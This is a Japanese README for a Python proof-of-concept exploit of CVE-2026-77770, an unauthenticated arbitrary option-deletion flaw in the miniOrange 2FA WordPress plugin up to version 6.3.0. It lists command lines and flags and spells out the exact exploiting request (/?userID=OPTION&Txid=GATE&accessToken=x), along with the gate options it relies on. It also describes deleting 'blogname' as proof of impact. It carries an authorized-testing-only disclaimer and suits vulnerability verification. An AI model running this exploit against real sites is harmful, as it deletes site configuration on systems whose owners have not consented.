
CVE-2026-77770 の Python PoC。miniOrange 2FA プラグイン (<= 6.3.0) における、メール認証リンクを介した認証不要の任意 WordPress オプション削除脆弱性。
miniOrange 2FA CVE POC
miniOrange 2FA (WordPress プラグイン miniorange-2-factor-authentication) ≤ 6.3.0 — メール確認リンク (userID / Txid / accessToken) を介した、認証不要の任意の WordPress オプション削除。
許可されたテスト専用です。所有していない、またはテスト許可を得ていないシステムに対して実行しないでください。
必要条件: Python 3、標準ライブラリのみ。
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test --delete blogname
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u https://TARGET --delete blogname --insecure
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u TARGET --delete blogname
| フラグ | 動作 |
|---|
-u / --url | WordPress サイトのルート (必須)。http:// または https://。ホスト名はまず HTTPS として試行され、その後 HTTP が試行されます。自己署名 TLS は自動的に再試行されます |
--test | ゲスト: プラグインバージョン + メール確認ポップアップ |
--delete OPTION | その wp_options 行を削除します。blogname は /wp-json/ 経由で表示されます (BEFORE / AFTER) |
--gate OPTION | 保存された値が 3 であるオプション (Txid ゲート)。繰り返し指定可能。デフォルト: wp_page_for_privacy_policy、次に thread_comments_depth |
--insecure | TLS 検証をスキップ |
--timeout | HTTP タイムアウト秒 (デフォルト 30) |
認証不要。ガジェットは /?userID=OPTION&Txid=GATE&accessToken=x への GET リクエストです。GATE は現在整数 3 を保持している必要があります。5 分間のウィンドウを逃すと、プラグインは GATE=0 も書き込みます。
--test は削除を行いません。--delete blogname が公開された証明です (/wp-json/ のサイトタイトルが空になります)。6.3.1 ではキーにプレフィックスが付く (mo2f_oobe_*) ため、プレフィックスのない名前は削除されません。
標準出力: VERSION、HANDLER、PRESENT、SITENAME、OPTION、BEFORE、AFTER、GATE、VULNERABLE、NOT_VULNERABLE、NOT_FOUND、ATTEMPTED。

CVE: CVE-2026-77770。プラグイン変更履歴 6.3.1。